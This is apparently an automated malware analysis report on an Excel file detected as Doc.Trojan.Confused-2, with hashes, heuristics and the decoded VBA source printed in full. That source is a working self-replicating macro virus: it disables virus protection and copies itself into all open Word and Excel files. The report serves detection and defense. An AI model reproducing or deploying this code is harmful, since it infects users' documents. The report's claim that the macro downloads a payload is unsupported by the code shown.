Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e71b3f8352511523…

MALICIOUS

Office (OLE)

22.0 KB Created: 1999-05-29 15:39:01 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 58f997adb2b37d3088331d2f132187a8 SHA-1: 995debfffda229aedd80a198914cc22d625d8cff SHA-256: e71b3f8352511523cbeeaa9b07e42724e85b0f1b8f8687679b60627428196071
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The file is an Excel document containing VBA macros. The macros are designed to copy themselves to other documents and applications, suggesting an attempt to spread or establish persistence. The presence of a GetObject call and ClamAV detection as 'Doc.Trojan.Confused-2' strongly indicates malicious intent, likely to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.Confused-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Confused-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2390 bytes
SHA-256: 588c53eae56baa955593ff1e0835bbd424da77b8107d55d30f7fe673c6c0b3a7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused ][
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Application.EnableCancelKey = 0
Set α = VBProject.VBComponents("ThisDocument").CodeModule: λ = α.Lines(1, α.CountOfLines + 1)
Err.Clear: Set υ = GetObject(, "Excel.Application").VBE.ActiveVBProject.VBComponents("ThisWorkbook").CodeModule
If Err.Number = 0 Then If υ.Find("~^^~", 0, 0, 0, 0, 0, 0) = 0 Then υ.InsertLines υ.CountOfLines + 1, λ
For ι = 1 To Documents.Count
Set υ = Documents(ι).VBProject.VBComponents(α).CodeModule
If υ.Find("~^^~", 0, 0, 0, 0, 0, 0) = 0 Then
υ.InsertLines υ.CountOfLines + 1, λ
End If: Next
End Sub
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.EnableCancelKey = 0
Set α = VBProject.VBComponents("ThisWorkbook").CodeModule: λ = α.Lines(1, α.CountOfLines + 1)
Err.Clear: Set υ = GetObject(, "Word.Application").VBE.ActiveVBProject.VBComponents("ThisDocument").CodeModule
If Err.Number = 0 Then If υ.Find("~^^~", 0, 0, 0, 0, 0, 0) = 0 Then υ.InsertLines υ.CountOfLines + 1, λ
For ι = 1 To Workbooks.Count
Set υ = Workbooks(ι).VBProject.VBComponents(α).CodeModule
If υ.Find("~^^~", 0, 0, 0, 0, 0, 0) = 0 Then
υ.InsertLines υ.CountOfLines + 1, λ
End If: Next
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True